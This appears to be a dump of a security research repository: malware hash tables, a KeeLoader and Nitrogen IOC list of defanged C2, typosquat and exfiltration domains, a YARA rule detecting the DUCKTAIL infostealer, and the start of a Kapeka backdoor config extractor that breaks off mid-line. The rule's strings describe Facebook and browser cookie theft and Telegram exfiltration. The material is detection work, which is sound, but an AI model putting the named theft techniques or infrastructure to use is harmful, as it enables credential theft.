28 | STONESTOP,fb3fc93dc627c7dfd8d95c1d66c2cb66caac92783b6d6eb33ac5b91647871ae6,VMProtect + TangleCrypt,x64,GCC/MingW,fehmr.sys,Defender + Bitdefender, 29 | ABYSSWORKER,0142346650907fe3b7ef7313be6863b15413b17b1ee900efa77f9b7c923718cf,VMProtect,x64,,,,D01B544CF4A4F901FA496BEA2B3A8F66F9583CB2 30 | ABYSSWORKER,05f8f514d1367aca856564af5443a75f47d22a30ce63f0b024a41e6b9553a527,VMProtect,x64,,,,7749BE16F266669D505684E9F002C689706C4295 31 | ABYSSWORKER,06eccd102c9105957773b32538943531d9c39d0a504ceb3b9b155e97e3b0b134,VMProtect,x64,,,,7749BE16F266669D505684E9F002C689706C4295 32 | ABYSSWORKER,1e42c8cb410a7ed653cfe62bbd8cf191f31a47337fe1ffcc35232d03f2da05ef,VMProtect,x64,,,,D01B544CF4A4F901FA496BEA2B3A8F66F9583CB2 33 | ABYSSWORKER,3fbe5a1ed857a6736e061a6850706f9e8a7e881f024bff044df1c34795b89bf4,VMProtect,x64,,,,7749BE16F266669D505684E9F002C689706C4295 34 | ABYSSWORKER,6a2a0f9c56ee9bf7b62e1d4e1929d13046cd78a93d8c607fe4728cc5b1e8d050,CodeVirtualizer,x64,,,,0786E6A95B9B6FC9495F319AC2E334103AAB292F 35 | ABYSSWORKER,927e3aef03a8355d236230cace376b3023480a40c5ac08453c07dab343dd1f11,VMProtect,x64,,,,D01B544CF4A4F901FA496BEA2B3A8F66F9583CB2 36 | ABYSSWORKER,a2e49aaa95f50438153ca6e55c909229df3a006b324622cc32477479de0afb6b,VMProtect,x64,,,,00F1435238447BBA9560E2A9A8C781861EBB15BC 37 | ABYSSWORKER,efb642ad3fab4a2e6cb4de829b60e04dd0d9ae7c2b4cf544de28c38f978b4136,VMProtect,x64,,,,D01B544CF4A4F901FA496BEA2B3A8F66F9583CB2 38 | XWorm,73b6e7cdd10c373a633367fd3bde791278e7900b342a21e2bad2b8e5cfc33746,TangleCrypt,x86,,,, 39 | -------------------------------------------------------------------------------- /KeeLoader/keeloader_iocs.csv: -------------------------------------------------------------------------------- 1 | Ransomware Incident IOCs,Other context 2 | hxxps://lvshilc[.]com/KeePass-2.56-Setup.exe ,Final redirect - KeeLoader downloader URL 3 | hxxps://keeppaswrd[.]com/download.php ,Typosquat redirect url 4 | hxxps://arch-online[.]com/List/com2/9O29EO3IRSBB ,Cobalt Strike C2 URL 5 | hxxps://aicmas[.]com/List/com2/9O29EO3IRSBB ,Cobalt Strike C2 URL 6 | hxxps://aicmas[.]com/Apply/readme/VJICARU60DC?[REDACTED]=[REDACTED] ,Cobalt Strike C2 URL 7 | KeePass-info[.]aenys[.]com ,Malvertised domain 8 | keeppaswrd[.]com ,Typosquat redirect domain 9 | lvshilc[.]com ,Final redirect - KeeLoader downloader domain 10 | arch-online[.]com ,Cobalt Strike C2 domain 11 | aicmas[.]com ,Cobalt Strike C2 domain 12 | , 13 | Nitrogen IOCs, 14 | 1ba8d063-0[.]b-cdn[.]net,Cobalt Strike Nitrogen Cluster C2 15 | roatanforareason[.]com/wp-content/plugins/fix/TreeSizeFreeSetup.zip,Nitrogen Download URL 16 | 2dd75a7f9948d794e95539b9a9ccc6a1488fb64dbe099fea401a13f98166d6ae,WinSCP – Nitrogen 17 | 5b48bbf2364f78812ea411ef41fb8b693a3965df13596b303e12f69908784d03,TreeSize Free – Nitrogen 18 | fa3eca4d53a1b7c4cfcd14f642ed5f8a8a864f56a8a47acbf5cf11a6c5d2afa2,WinSCP – Nitrogen 19 | , 20 | KeePass download domains, 21 | KeePass-download.grmspace[.]com,Other malvertised KeeLoader domain 22 | KeePass-download[.]insightsforconsultancy[.]com,Other malvertised KeeLoader domain 23 | KeePassx[.]com,Typosquat KeePass domain 24 | keegass[.]com,Typosquat KeePass domain 25 | keebass[.]com,Typosquat KeePass domain 26 | keespass[.]biz,Typosquat KeePass domain 27 | KeePass[.]me,Typosquat KeePass domain 28 | alldataservice[.]com,KeePass exfil domain 29 | howupbusiness[.]com,KeePass exfil domain 30 | , 31 | Suspicious Domains (Other), 32 | salliemae-com-login[.]aenys[.]com,Other suspicious subdomains of Aenys 33 | winscp-net-download[.]aenys[.]com,Other suspicious subdomains of Aenys 34 | woodforest-login[.]aenys[.]com,Other suspicious subdomains of Aenys 35 | phantom-wallet-com[.]aenys[.]com,Other suspicious subdomains of Aenys 36 | dexscreener-com[.]aenys[.]com,Other suspicious subdomains of Aenys 37 | Pump-fun[.]aenys[.]com,Other suspicious subdomains of Aenys 38 | Pump-fun-official[.]aenys[.]com,Other suspicious subdomains of Aenys 39 | burleson-appliance[.]net,Content pivot from malvertised domain (Aenys) 40 | concord-appliance[.]com,Content pivot from malvertised domain (Aenys) 41 | desoto-appliance[.]net,Content pivot from malvertised domain (Aenys) 42 | resvat[.]com,Content pivot from malvertised domain (Aenys) 43 | takuripo[.]com,Content pivot from malvertised domain (Aenys) 44 | zowhy[.]com,Content pivot from malvertised domain (Aenys) 45 | smakotin[.]com,Content pivot from malvertised domain (Aenys) 46 | resvat[.]co,Content pivot from malvertised domain (Aenys) 47 | protek-tech[.]com,Content pivot from malvertised domain (Aenys) 48 | larcausk[.]site,Content pivot from malvertised domain (Aenys) 49 | nestlingspace[.]com,Content pivot from malvertised domain (Aenys) 50 | animatedwebworks[.]com,Content pivot from malvertised domain (Aenys) 51 | "precizeabrilliant[,]com",Content pivot from malvertised domain (Aenys) 52 | cadcamlabs[.]ru,Content pivot from malvertised domain (Aenys) 53 | prythera[.]com,Content pivot from malvertised domain (Aenys) 54 | , 55 | Certificates Observed, 56 | Name: Redstrikevn Company Limited, 57 | Serial number: 00 8A 99 59 F5 36 A0 03 6F 49 A2 14 33 17 56 2D 3F, 58 | Thumbprint: 4D36C5325245186319D22BB933EE4C9289FAC559, 59 | , 60 | Name: ООО НЕВА КЕРАМИКС (Revoked), 61 | Serial number: 4645E8244D0240FED60A8923999340F10F363EA5, 62 | Thumbprint: 4645E8244D0240FED60A8923999340F10F363EA5, 63 | , 64 | Name: ANALYZER ENTERPRISES LLP, 65 | Serial number: 41 23 C6 2D FD 13 EF 9C C0 69 0E 57, 66 | Thumbprint: F3082CA729AA18DC86DD70A87B75ED473B4B0C15, 67 | , 68 | "Name Shenzhen Kantianxia Network Technology Co., Ltd.", 69 | Thumbprint 2CF75DAE1A87CA7962CAF67E7310420BBBC30588, 70 | Serial Number 52 B0 5A 2A 3A D5 CA E2 94 6C 80 F5 B6 21 E3 82, 71 | , 72 | "Name: MekoGuard Bytemin Information Technology Co., Ltd.", 73 | Serial number: 26 A6 81 9A C8 1B 7A 25 BC E7 D3 54, 74 | Thumbprint: A53E2045C456BC5879E1159245884740FF0BE11D, 75 | , 76 | Name: AVARKOM LLC, 77 | Serial number: 24 83 90 00 0F C9 ED 9D D9 28 5F C2, 78 | Thumbprint: 7020BB7A7A798C1BE684569FAD4CFE4956E7C856, 79 | , 80 | Name: S.R.L. INT-MCOM, 81 | Serial number: 05c1f7dd747b1af79ac427a15a8b64ae, 82 | Thumbprint: 467c6c43e6fbb17fcaefb46fc41a6b2b829e0efa, 83 | , 84 | KeePass Installers, 85 | 0e5199b978ae9816b04d093776b6699b660f502445d5850e88726c05e933e7d8, 86 | 83a13d14e1cbc25e46be87472de1956ac91727553bb3f019997467b2bab2658f, 87 | 2c510f9ae4472342faafb7f2a1f278160f3581ead8ccd5b7ba7951863dcba2f5, 88 | c6ed28cc576340b9f0e9324bef8c8c428bcd32c5234be73b885caa20549f332b, 89 | 0000cff6a3c7f7eebc0edc3d1e42e454ebb675e57d6fc1fd968952694b1b44b3 , 90 | 1e6acd62927a272c41eb1def436d301ab8cbfc3bda459231bc2e696225eb5715,Added after report release 91 | , 92 | KeePass Executables, 93 | f1c6d8e594f85cd2cb844a3e8a90509ea137a67d7ef3f1b68a7be17df6ccac74, 94 | 128a68a714f2f6002f5e8e8cfe0bbae10cd2ffe63d30c8acc00255b9659ce121, 95 | 9cb3de5d5cc804235bd12c00ed45ec9d6116cc2c7523986dddb4d8643d54f5e, 96 | a5e643c6cda31e0c7691dab58febe2efce0e98c33b19fe495b74b885de134a22, 97 | b51dc9ca6f6029a799491bd9b8da18c9d9775116142cedabe958c8bcec96a0f0, 98 | , 99 | ShInstUtil Files, 100 | 0f6cfb62ed2f118c776a049b93e5d3e7b226f74e7b466c1cfed3c449ed23a42b, 101 | 42d391dd7bfa4ea348ec1cd2620ea6458b37682f2b303e4a266e3d11a689f8ab, 102 | 3733b3be213ee4b959b70ff070b46e30b2785b14f1aecb74e0788dd00a1e1853, 103 | 0fc4397d28395974bba2823a1d2437b33793127b8f5020d995109207a830761b , -------------------------------------------------------------------------------- /DUCKTAIL/ducktail_dotnet_core_infostealer.yar: -------------------------------------------------------------------------------- 1 | rule ducktail_dotnet_core_infostealer 2 | { 3 | meta: 4 | author="WithSecure" 5 | description="Detects DUCKTAIL malware written in .NET Core" 6 | date="2022-07-18" 7 | version="1.0" 8 | reference="https://labs.withsecure.com/publications/ducktail" 9 | hash1="b260f3857990e11fa267d3f1cad4c9bed59a9d4b" 10 | hash2="db74863c01817bf4eba39cd8a0ebbce9bda85a37" 11 | hash3="3a4b395301f61b7e6afc0ab27dc02331455181d0" 12 | strings: 13 | $dotnet_core_bundle_signature = { 8B 12 02 B9 6A 61 20 38 72 7B 93 02 14 D7 A0 32 13 F5 B9 E6 EF AE 33 18 EE 3B 2D CE 24 B3 6A AE } 14 | // Facebook-related 15 | $fb_str_1 = "c_user" wide ascii 16 | $fb_str_2 = "https://business.facebook.com/security/twofactor/reauth/enter" wide ascii 17 | $fb_str_3 = "https://business.facebook.com/security/twofactor/reauth" wide ascii 18 | $fb_str_4 = "mbasic.facebook.com" wide ascii 19 | $fb_str_5 = "DTSGInitData\",[],{\"token\":\"" wide ascii 20 | $fb_str_6 = "www.facebook.com" wide ascii 21 | $fb_str_7 = "m.facebook.com" wide ascii 22 | $fb_str_8 = "business.facebook.com" wide ascii 23 | $fb_str_9 = "approvals_code=" wide ascii 24 | $fb_str_10 = "c_user=" wide ascii 25 | $fb_str_11 = "&__a=1&__comet_req=0&fb_dtsg=" wide ascii 26 | $fb_str_12 = "&__jssesw=1" wide ascii 27 | $fb_str_13 = "approvals_code=" wide ascii 28 | $fb_str_14 = "k__BackingField" wide ascii 29 | $fb_str_15 = "set_FbCookies" wide ascii 30 | $fb_str_16 = "k__BackingField" wide ascii 31 | $fb_str_17 = "GetAllFbData" wide ascii 32 | $fb_str_18 = "get_account_id" wide ascii 33 | $fb_str_19 = "set_BmLinks" wide ascii 34 | $fb_str_20 = "GetBmLink" wide ascii 35 | $fb_str_21 = "GetBm" wide ascii 36 | $fb_str_22 = "ExtractUserId" wide ascii 37 | $fb_str_23 = "set_Bussinesses" wide ascii 38 | $fb_str_24 = "set_FbData" wide ascii 39 | $fb_str_25 = "get_Nguong" wide ascii 40 | $fb_str_26 = "ResetCookie" wide ascii 41 | $fb_str_27 = "set_UserId" wide ascii 42 | $fb_str_28 = "k__BackingField" wide ascii 43 | $fb_str_29 = "get_UserId" wide ascii 44 | $fb_str_30 = "set_Nguong" wide ascii 45 | $fb_str_31 = "AdsBusiness" wide ascii 46 | $fb_str_32 = "k__BackingField" wide ascii 47 | $fb_str_33 = "k__BackingField" wide ascii 48 | $fb_str_34 = "k__BackingField" wide ascii 49 | $fb_str_35 = "get_FbData" wide ascii 50 | $fb_str_36 = "get_invite_link" wide ascii 51 | $fb_str_37 = "get_Bussinesses" wide ascii 52 | $fb_str_38 = "GetNguong" wide ascii 53 | $fb_str_39 = "set_AdsAccount" wide ascii 54 | $fb_str_40 = "set_invite_link" wide ascii 55 | $fb_str_41 = "set_AllCookies" wide ascii 56 | $fb_str_42 = "get_business" wide ascii 57 | $fb_str_43 = "set_business" wide ascii 58 | $fb_str_44 = "k__BackingField" wide ascii 59 | $fb_str_45 = "GetAdsFromToken" wide ascii 60 | $fb_str_46 = "get_AdsAccount" wide ascii 61 | $fb_str_47 = "get_BmLinks" wide ascii 62 | $fb_str_48 = "FbDataScanner" wide ascii 63 | // Exfiltration-related 64 | $exfil_str_1 = "telegramBotClient_OnUpdate" wide ascii 65 | $exfil_str_2 = "telegramHandler" wide ascii 66 | $exfil_str_3 = "ZipArchive" wide ascii 67 | $exfil_str_4 = "KillItSame" wide ascii 68 | $exfil_str_5 = "1.txt" wide ascii 69 | $exfil_str_6 = ".zip" wide ascii 70 | $exfil_str_7 = "2.txt" wide ascii 71 | // Browser-related 72 | $browser_str_1 = "GetCookies" wide ascii 73 | $browser_str_2 = "get_AllCookies" wide ascii 74 | $browser_str_3 = "ChromiumBrowser" wide ascii 75 | $browser_str_4 = "myBrowsers" wide ascii 76 | $browser_str_5 = "get_CookiePath" wide ascii 77 | $browser_str_6 = "ScanFirefox" wide ascii 78 | $browser_str_7 = "get_FbCookies" wide ascii 79 | $browser_str_8 = "ScanChomium" wide ascii 80 | $browser_str_9 = "BrowserScanner" wide ascii 81 | $browser_str_10 = "ScanChronium" wide ascii 82 | $browser_str_11 = "CookieData" wide ascii 83 | $browser_str_12 = "listBrowser" wide ascii 84 | $browser_str_13 = "BrowserCookie" wide ascii 85 | $browser_str_14 = "k__BackingField" wide ascii 86 | $browser_str_15 = "AddCookie" wide ascii 87 | $browser_str_16 = "set_CookiePath" wide ascii 88 | $browser_str_17 = "Local State" wide ascii 89 | $browser_str_18 = "select name, path, expires_utc, is_secure, is_httponly, host_key, encrypted_value from cookies" wide ascii 90 | $browser_str_19 = "Google\\Chrome\\User Data" wide ascii 91 | $browser_str_20 = "Microsoft\\Edge\\User Data" wide ascii 92 | $browser_str_21 = "Cookies" wide ascii 93 | $browser_str_22 = "encrypted_key\":\"" wide ascii 94 | condition: 95 | uint16(0) == 0x5A4D 96 | and $dotnet_core_bundle_signature 97 | and ( 98 | // 7 Facebook-related with either 7 browser or 3 exfil keywords found 99 | (7 of ($fb_str_*) and (7 of ($browser_str_*) or 3 of ($exfil_str_*))) 100 | // 7 Browser and 3 exfil keywords found 101 | or (7 of ($browser_str_*) and 3 of ($exfil_str_*)) 102 | ) 103 | } 104 | -------------------------------------------------------------------------------- /Kapeka/kapeka_extract_config.py: -------------------------------------------------------------------------------- 1 | import pefile 2 | import struct 3 | import re 4 | from Cryptodome.Cipher import AES 5 | import sys 6 | import string 7 | import winreg 8 | 9 | def is_file_provided(): 10 | args = sys.argv 11 | if len(args) > 3: 12 | print('To extract from registry run: python kapeka_extract_config.py') 13 | print('To extract from file run: python kapeka_extract_config.py backdoor.exe') 14 | exit() 15 | elif len(args) == 2: 16 | return True 17 | else: 18 | return False 19 | def read_file(): 20 | try: 21 | file_path = sys.argv[1] 22 | file_data = None 23 | with open(file_path, 'rb') as f: 24 | file_data = f.read() 25 | except: 26 | print(f'Input file path ({file_path}) could not be read') 27 | exit() 28 | return file_data 29 | 30 | 31 | 32 | def parse_config_binary(file_data, pe_file): 33 | if pe_file.FILE_HEADER.Machine == pefile.MACHINE_TYPE['IMAGE_FILE_MACHINE_I386']: 34 | egg_32bit = rb'\x68(....)\x68(....)\x8D\x4D\xEC\xE8....\x6A\x20\x68(....)\x8D\x4D\xD8\xE8....\x51\x8D\x55\xD8\x8D\x4D\xEC' 35 | print('Input file is 32-bit PE, looking for 32-bit pattern...') 36 | for m in re.finditer(egg_32bit, file_data): 37 | config_size = struct.unpack('